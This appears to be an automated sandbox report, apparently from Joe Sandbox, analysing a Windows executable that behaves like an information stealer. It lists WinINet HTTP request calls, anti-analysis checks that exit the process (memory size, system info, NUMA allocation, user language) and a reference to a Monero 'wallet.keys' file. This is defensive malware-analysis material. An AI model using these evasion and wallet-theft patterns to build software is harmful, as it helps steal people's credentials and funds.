API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d57775746f97e7b837e6761e690305138da0bf85663ac97dc4a1c02b3282459b
Instruction ID: df38c8386932f23459b5ee11e5901f9d4f7bc495514792b33a9ded1d69147844
Opcode Fuzzy Hash: d57775746f97e7b837e6761e690305138da0bf85663ac97dc4a1c02b3282459b
Instruction Fuzzy Hash: B4625FB5500240AFC748DFACEE8895637F9F7AC301714851AE605E3235DBB9A84AFF52

Function 00326280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00340DFE,00000001,00000000,00000000,00000000), ref: 003262E1
StrCmpCA.SHLWAPI(?,0109E7E8), ref: 00326303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00326335
HttpOpenRequestA.WININET(00000000,GET,?,0109E398,00000000,00000000,00400100,00000000), ref: 00326385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0032646D
InternetCloseHandle.WININET(00000000), ref: 003264EF
InternetCloseHandle.WININET(00000000), ref: 003264F9
InternetCloseHandle.WININET(00000000), ref: 00326503

Strings

ERROR, xrefs: 003264C9
ERROR, xrefs: 00326407
GET, xrefs: 0032637C

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 00a8ac875a730e3da7800999ad69453f33615747e1cf57cb4c83b387a050b69c
Instruction ID: 3018af24a5b6518910f6526ab8acb68ad5d19088933281c84fd326dfc4466d31
Opcode Fuzzy Hash: 00a8ac875a730e3da7800999ad69453f33615747e1cf57cb4c83b387a050b69c
Instruction Fuzzy Hash: 49714F71A00218ABDB15EFA4DC95FEE77B8FF44700F108198F50A6B190DBB46A89DF51

Function 00335510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335857

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335228

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 003352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335318
Part of subcall function 003352C0: lstrlen.KERNEL32(00000000), ref: 0033532F
Part of subcall function 003352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00335364
Part of subcall function 003352C0: lstrlen.KERNEL32(00000000), ref: 00335383
Part of subcall function 003352C0: lstrlen.KERNEL32(00000000), ref: 003353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0033578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335A0C
Sleep.KERNEL32(0000EA60), ref: 00335A1B

Strings

ERROR, xrefs: 003359FE
ERROR, xrefs: 00335636
ERROR, xrefs: 0033577D
ERROR, xrefs: 00335932
ERROR, xrefs: 00335849
ERROR, xrefs: 00335693

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 00d82733ca9f4d54f8266af19b190e8f3618969cb953151e776c6ba56edecc85
Instruction ID: 56683615bd913ca6f5d25927ea4ac119cbf417433328b7df331ab4ecf80498fd
Opcode Fuzzy Hash: 00d82733ca9f4d54f8266af19b190e8f3618969cb953151e776c6ba56edecc85
Instruction Fuzzy Hash: 8BE15072910604AACB16FBA4DDD2AED7778AF64300F508128F4476F091EF746A4DDB92

Function 003317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003317C5
ExitProcess.KERNEL32 ref: 003317D1

Strings

block, xrefs: 003317B7

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a2e2925da86ec27f32ca538baa6bea95b7157b577eaf2664b686cb81715ce38f
Instruction ID: 47ec6ea34a68651cc518ca1f1766e1dc8414d6d1d673d06e92a3e875ab432188
Opcode Fuzzy Hash: a2e2925da86ec27f32ca538baa6bea95b7157b577eaf2664b686cb81715ce38f
Instruction Fuzzy Hash: 8A5169B4B04209EFCB06DFA4D994FBE77B9BF44704F108048E906AB251D7B0E955DBA2

Function 00337500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00337542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337603
RtlAllocateHeap.NTDLL(00000000), ref: 0033760A
wsprintfA.USER32 ref: 00337640

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

4, xrefs: 0033764D, 00337655, 0033761B, 00337623
\, xrefs: 00337560
C, xrefs: 0033754C
:, xrefs: 0033755C

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$4
API String ID: 1544550907-3012984618
Opcode ID: a68315c525dd1763e0cc1f8a13d7f23be75c6dd2b7642a89e9b722ec84082cbd
Instruction ID: 7b29d2504bb9c150329b5408cbb416f01805d1e659a17b6df58cb3aa3856881b
Opcode Fuzzy Hash: a68315c525dd1763e0cc1f8a13d7f23be75c6dd2b7642a89e9b722ec84082cbd
Instruction Fuzzy Hash: 7A4182F1D04258ABDB11DF98DC95BDEBBB8AF18700F100199F5097B280D7786A44CFA5

Function 003369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,010922F0), ref: 003398A1
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01092218), ref: 003398BA
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01092248), ref: 003398D2
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,010922A8), ref: 003398EA
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01092350), ref: 00339903
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01099258), ref: 0033991B
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,010858D0), ref: 00339933
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01085930), ref: 0033994C
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01092410), ref: 00339964
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,010924E8), ref: 0033997C
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01092368), ref: 00339995
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,010924A0), ref: 003399AD
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01085970), ref: 003399C5
Part of subcall function 00339860: GetProcAddress.KERNEL32(74DD0000,01092230), ref: 003399DE

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 003211D0: ExitProcess.KERNEL32 ref: 00321211

Part of subcall function 00321160: GetSystemInfo.KERNEL32(?), ref: 0032116A
Part of subcall function 00321160: ExitProcess.KERNEL32 ref: 0032117E

Part of subcall function 00321110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0032112B
Part of subcall function 00321110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00321132
Part of subcall function 00321110: ExitProcess.KERNEL32 ref: 00321143

Part of subcall function 00321220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0032123E
Part of subcall function 00321220: __aulldiv.LIBCMT ref: 00321258
Part of subcall function 00321220: __aulldiv.LIBCMT ref: 00321266
Part of subcall function 00321220: ExitProcess.KERNEL32 ref: 00321294

Part of subcall function 00336770: GetUserDefaultLangID.KERNEL32 ref: 00336774

Part of subcall function 00321190: ExitProcess.KERNEL32 ref: 003211C6

Part of subcall function 00337850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
Part of subcall function 00337850: RtlAllocateHeap.NTDLL(00000000), ref: 00337887
Part of subcall function 00337850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

Part of subcall function 003378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
Part of subcall function 003378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00337917
Part of subcall function 003378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01099268,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00336AE8
CloseHandle.KERNEL32(00000000), ref: 00336AF9
Sleep.KERNEL32(00001770), ref: 00336B04
CloseHandle.KERNEL32(?,00000000,?,01099268,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336B1A
ExitProcess.KERNEL32 ref: 00336B22

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: c68063f49443bb7510e1dfab1e822c4b4b3e589ce7919b073a7dbd8dfd926550
Instruction ID: 8d5e70b03560fe5e71e7b41355049fe1a7de6ee04c384dfebacbe2dccb7dd0a7
Opcode Fuzzy Hash: c68063f49443bb7510e1dfab1e822c4b4b3e589ce7919b073a7dbd8dfd926550
Instruction Fuzzy Hash: D0312D71904608AADB06FBF0DC97BEE7778AF14340F104518F242BE191DFB46905DAA2

Function 00321220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0032123E
__aulldiv.LIBCMT ref: 00321258
__aulldiv.LIBCMT ref: 00321266
ExitProcess.KERNEL32 ref: 00321294

Strings

@, xrefs: 00321233

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: a58ff027a5e623ea46e4e723d6a3083e1557ad9f422d21904cd5854bc8a6da3b
Instruction ID: 1b951a2c2b273b76a39b9c69fe74560b48e97a2504424525e71c66574e783697
Opcode Fuzzy Hash: a58ff027a5e623ea46e4e723d6a3083e1557ad9f422d21904cd5854bc8a6da3b
Instruction Fuzzy Hash: 6A016DB0D44308FAEB11DBE4ED49B9EBB78AB24701F208448F705BA2C0D7B455458B99

Function 00336AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01099268,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00336AE8
CloseHandle.KERNEL32(00000000), ref: 00336AF9
Sleep.KERNEL32(00001770), ref: 00336B04
CloseHandle.KERNEL32(?,00000000,?,01099268,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336B1A
ExitProcess.KERNEL32 ref: 00336B22

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 48f6a15f5c44faa0f56db2d3c47d61d3fdff0e1ec06e3d9d487277aee033c2d0
Instruction ID: 018922725b9f64f4543cc4610aaedefa2458bea335446c103b7ec3bb1dd2e087
Opcode Fuzzy Hash: 48f6a15f5c44faa0f56db2d3c47d61d3fdff0e1ec06e3d9d487277aee033c2d0
Instruction Fuzzy Hash: DCF05870A44209BFE712ABA0DC9BBBEBB38EB14701F108514F503BA1C1DBF05544EEA6

Function 003247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Strings

<, xrefs: 003247C9

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: aa7dac549657eeb8a6958ccd4f36c9ec5275c189a42647e5144ae6344fade9c9
Instruction ID: af5ec402f90f29046c55dd222459775b07bec6229e4042ef7a61c01e2c88e196
Opcode Fuzzy Hash: aa7dac549657eeb8a6958ccd4f36c9ec5275c189a42647e5144ae6344fade9c9
Instruction Fuzzy Hash: 22214FB1D00208ABDF14DFA4E845ADD7B78FB44320F108625F955AB2C0DB706A05DF92

Function 003351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 00326280: InternetOpenA.WININET(00340DFE,00000001,00000000,00000000,00000000), ref: 003262E1
Part of subcall function 00326280: StrCmpCA.SHLWAPI(?,0109E7E8), ref: 00326303
Part of subcall function 00326280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00326335
Part of subcall function 00326280: HttpOpenRequestA.WININET(00000000,GET,?,0109E398,00000000,00000000,00400100,00000000), ref: 00326385
Part of subcall function 00326280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003263BF
Part of subcall function 00326280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335228

Strings

ERROR, xrefs: 00335273
ERROR, xrefs: 0033521A

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
